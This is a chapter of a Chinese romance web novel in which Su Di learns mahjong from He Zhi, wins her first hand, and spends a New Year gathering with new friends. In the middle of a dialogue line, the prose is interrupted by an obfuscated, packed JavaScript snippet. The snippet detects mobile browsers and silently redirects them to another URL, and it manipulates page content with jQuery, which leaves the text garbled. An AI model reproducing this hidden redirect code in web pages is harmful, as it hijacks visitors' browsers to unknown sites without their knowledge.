31. 第 31 章
作品:《成为她的猫》 “……”
这算是,摸头杀吗?
意识到头顶触感的那一刻,苏笛怔愣地眨了眨眼。
一直到贺执相当自然地放下手,她才慢慢回过神来。
幸好刚才是中场休息,Unreal他们围成一团还在复盘上一把的内容,没有人注意到这边的动静。
她偷偷瞄了眼身边的贺执,他单手接过崔珉泰递过来的玻璃杯,仰头喝了口水。
像个没事人一样。
别想太多。
苏笛拼命说服自己。
却还是压抑不住自己失去节奏的心跳,和发烫的双颊。
终于,中场休息结束。
在那之后又尝试了几把,无一例外,苏笛还是输了。
贺执是个好老师,讲究授人以渔,除了刚才那张八万,他没再帮苏笛做过决定,只是偶尔在旁边帮她分析牌面。
几盘下来,虽然输了,但苏笛好歹是大概摸清楚了规则。
她摸来一张牌放下,然后根据贺执的分析,手指摸到一张二条上,眼睫有些颤抖,试探着看向贺执。
说实话,苏笛有点怕,像是回到中学的时候在巡视的数学老师眼皮子底下做题的感觉。
好在贺执只是倦倦地动了动眼皮,苏笛知道,他这是表示肯定。
苏笛这才把牌放心地打出去。
牌桌上,照哥瞄了眼对面小动作不断的两人,忍不住啧啧两声:“我怎么就没有这样的待遇呢?我们贺神亲自教学。”说完他又打出一张牌:“来。”
希云幸灾乐祸:“这不是你们嫌贺执老赢你们,把他ban了吗?喏,刚好教苏苏了。”
Unreal也摇摇头:“啧,难得见贺执当回人。这小子只进不出的,跟个貔貅一样,之前我想让他告诉我怎么玩异画师都不教。”
“反正你这要是赢了可得好好谢谢贺执啊。”
贺执捏着玻璃杯,皱着眉在桌子下轻踹了他一脚:“你差不多得了。”
Unreal:“我是在帮你说话好吗哥哥?”
苏笛心虚地低下头:“谢谢是肯定要谢谢的,就是我这不是还没赢吗?”
话音刚落,青青推倒面前的牌:“胡了!”
“……”
贺执注意到身边的人瞬间蔫了,原本坐直的身体都弯了下去,看上去又委屈,又不甘心。
贺执沉思两秒,自己也不知道为什么,目光落在蔫不唧唧的苏笛身上的时候,嘴角居然忍不住向上提了提。
照哥坐在苏笛右手边,看到苏笛丧气的样子,刚想让贺执给人姑娘安慰一下。
转念一想,贺执这人会安慰人就怪了。
他张了张嘴,刚想说国粹这玩意打得好不好都是次要的主要还是看手气——
“没事,下把会赢的。”贺执忽然朝着苏笛那边俯了俯身子,用不大的声音说道。
照哥晴天霹雳。
贺执这是……在哄苏笛吗?
他猛地转身,刚想和自己女朋友说卧槽贺执这畜生开智了居然会哄人了,一抬头,却瞬间对上了希云有些微妙的视线。
希云抬起食指,在唇边比了个“闭嘴”的手势。
照哥条件反射地收了声。
希云若有所思地看着肢体距离不自觉越来越近的两人。
一开始,两个人刚坐到一起的时候,苏笛似乎还有点不自在,姿态僵硬,还很明显在避免往贺执那边靠。
但现在似乎两个人的精力都集中在怎么赢比赛上,忘记保持身体距离,坐得本来就近,贺执还时不时伸手到苏笛面前,看着她的眼睛耐心解释。
那样子,完全看不出两人关系刚刚缓和,反倒像认识了很久。
没想到贺执的话一语成谶。
下一把,苏笛刚排好初始的牌,就愣了愣。
这绝对是她手气最好的一次。
她忍不住看向身边的贺执,贺执脸上笑意浅浅,对着她点了点头。
苏笛很不争气地又被这一笑闹红了脸,赶紧扭头回去集中精神看牌。
摸了两轮,苏笛已经成功听牌。
现在她能胡牌的方式有两种:二条或者五条,只要能成功摸到其中一张,就能赢。
她紧张地看着其他三个人的动作,生怕在自己摸牌之前就被人截胡了。
很幸运,并没有。
到了她的回合,苏笛摸来一张牌,紧张地翻过来一看。
“七筒。”苏笛有气无力地把刚摸回来的牌又打了出去,不是她要的那张。
“碰!”Unreal喜滋滋地收下七筒。
不光没摸到自己想要的,还给Unreal送了东风,苏笛心情复杂,怎么感觉总是和赢牌失之交臂。
“别愣着,你上家碰了,又轮到你了。”贺执在一旁提醒。
“哦哦。”苏笛反应过来,怕耽误时间,赶紧伸手去摸。
摸回来,她不经意一看,却整个人怔住。
贺执角度看不清牌,他皱了皱眉,问:“什么?”
苏笛愣愣回头:“好像……赢了。”
手翻过来,正是那张能胡牌的“二条”。
苏笛还没回过神来,周围围观的人先帮她欢呼起来:“恭喜苏苏!胡了人生中第一把牌!”
连同在一张牌桌上的也忘了敌我,不在乎苏笛赢意味着自己输,帮愣住的她推倒了面前的牌。
直到贺执伸了个懒腰起身,轻轻说了声“恭喜”,苏笛才反应过来。
苏笛腾一下起身,双手在胸前握拳,抬头直愣愣地看着贺执。
她睁大眼睛,还有点难以置信:“我们赢了……”
贺执垂眸,随即动作一顿。
女孩心情激动,一下子凑得很近。她眼底水润,脸颊和嘴唇因为惊喜有些红扑扑的,捏紧的双手透露着主人的兴奋、开心。
他目光沉甸甸地落在苏笛脸上,大脑一片空白,没注意到自己的视线正在缓慢下移。
视线碰到那看起来饱满,泛着樱红的嘴唇时,贺执顺着苏笛的话,只喃喃地说了声:“是,我们赢了。”
-
快到晚饭时间,贺执和其他的男生们闹哄哄地涌进厨房。
Unreal还信誓旦旦地通知苏笛他们:“晚饭你们不用管了,打游戏去吧,有我们就行!”
青青从包里掏出一张游戏卡:“行行行那我们去隔壁打游戏去吧,这游戏我们四个能一起玩。”
面前是一块很大的电视屏幕,苏笛她们坐在懒人沙发上,选好人物角色进入游戏。
苏笛现学的游戏规则,操纵着人物,有些不熟练。
“苏苏,你以前没玩过这游戏吗?”青青诧异地问,“我感觉前几年很火诶。”
苏笛摇头:“听说过……但一直找不到机会玩。”
这游戏以多人合作闻名,但苏笛私交朋友少,乔思芸孟知竹又各有各的忙,平常约顿饭都难,更别提打这么时髦的游戏了。
“唉没事,反正是合作游戏,有我们在就行。”
如青青所言,苏笛和她们虽然是刚认识的朋友,但意外地很有默契,一路砍瓜切菜,配合得相当不错。
即将进入下一关,苏笛刚准备按确认键,手忽然一抖。
是厨房那边传来一声尖叫。
Milk的声音:“靠!崔珉泰,你把白糖认成食盐了,好甜啊!”
崔珉泰:“我没有认错,我放的就是白糖啊。”
Milk气急败坏:“靠,我都忘了你们韩国人吃得甜。”
“我真不行了,有醋吗?这玩意甜得我实在是吃不下去了。”
“醋在这。”不知道谁应了声。
一直没说话的Unreal大喊:“喂!别把醋给他!他放醋简直就是致死量的,让他放这菜真没法吃了!”
“…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243948|195030||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”
你一言我一语的争吵间,还有瓶瓶罐罐和大理石台面清脆的敲击声。
光听声音,都知道厨房形势一片混乱。
“真的……没问题吗?”苏笛有点不信任。
希云笑笑:“你是想说,他们看起来不像会做饭的样子吗?”
苏笛讪讪:“……被猜中了。”
希云朝厨房看了眼:“没事的,他们几个看着不靠谱,厨艺上还是有两把刷子的。”
她把苏笛扭过去的头转了回来:“别担心,他们就是这样的,嘴上吵个不停。”
果然,打着打着游戏,厨房那边吵闹声不断,但渐渐传来一股焖煮食物的香味。
连苏笛都没忍住动了动鼻子:“好香。”
打了快一个小时,四个女孩也累了,准备歇会儿。
“来来来,阿姨的任务来了。”青青抱着个红色的大袋子走进客厅。
苏笛原本站在希云后面,忍不住往前凑了凑:“这是什么?”
“装饰品,以前每年来,阿姨都会让我们帮忙把房子里打扮一下。”希云拎起袋子里的一个小红灯笼,“这不是过年嘛,阿姨就说让我们帮忙贴点春联窗花,挂点灯笼,摆点小装饰品什么的,说让屋子里看起来热闹点。”
“阿姨是指Venom选手的妈妈吗?”苏笛问。
希云点头:“阿姨可有仪式感了,来,帮我扶下这个。”她拿了窗花,按在玻璃上,示意苏笛帮自己顶着。
希云低头剪胶带,苏笛乖乖扶好。
“稍等一下,这胶带粘在一起了。”希云说。
等希云剪胶带的时候,苏笛一只手扶着,发起了呆。
鼻尖的那股食物香味越发浓郁,苏笛闻出来了,像是土豆和牛腩的香气。厨房里男生们还在打闹,时不时传来不知道哪些人斗嘴的声音,还有贺执无语的“再吵就给我出去”。偶尔还夹杂着切菜的咚咚声,和锅里咕噜咕噜的声音。
一旁,桌上和架子上,青青和江秋彤已经把各种火红喜庆的摆件摆了上去,连墙边的发财树都挂上了红包,瞬间就有了春节的氛围。
苏笛有些恍惚。
“想什么呢?”希云见苏笛眼神没聚焦,往窗花一角贴了张胶带,笑着问。
苏笛肌肉记忆地就想摇头,但马上又停住了。
她从小就不擅长表达自己的想法,有什么话都喜欢憋在心里。
可在这一刻,莫名其妙地,有了说些什么的心思。
“希云姐,谢谢你。”苏笛忽然轻声说。
“谢谢我?”希云错愕,“发生什么了,这么突然?”
“谢谢你邀请我来这。”苏笛说,“……今天之前,我已经很多年春节,都是自己过的。”
“每天在家里,看着窗外的街道越来越空,网上也都是和家人团聚的帖子,我一边安慰自己一个人也很好,一边也忍不住羡慕。”
说完她又慌忙摆手:“我没有想卖惨的意思啊,你千万不要有负担。”
苏笛看着希云的那双眼睛相当真诚:“我只是想说,能和大家在一起,我真的很开心。”
苏笛几乎从来在别人面前说这么长,还这么剖析自己的一段话。
她有些惴惴不安,担心这稍微沉重的内容会让别人不适。
一抬头,却见希云正笑着看自己。
希云呼了口气,说:“我很高兴你能告诉我这些。”
“你记得吗?我们以前也见过,那时候我就挺喜欢你的,其他工作人员也总跟我夸你,但我始终觉得……”希云话锋一转,“你是一个挺有边界感的人,和我们都很有距离感,就好像在我们面前的时候,始终抛不下主持人的那个身份。”
“你能和我说这么多,说明你已经把我当成朋友了,我很高兴。”希云笑了。
“不过吧……”她意味深长地往厨房的方向看了一眼,“你要感谢的另有其人。”

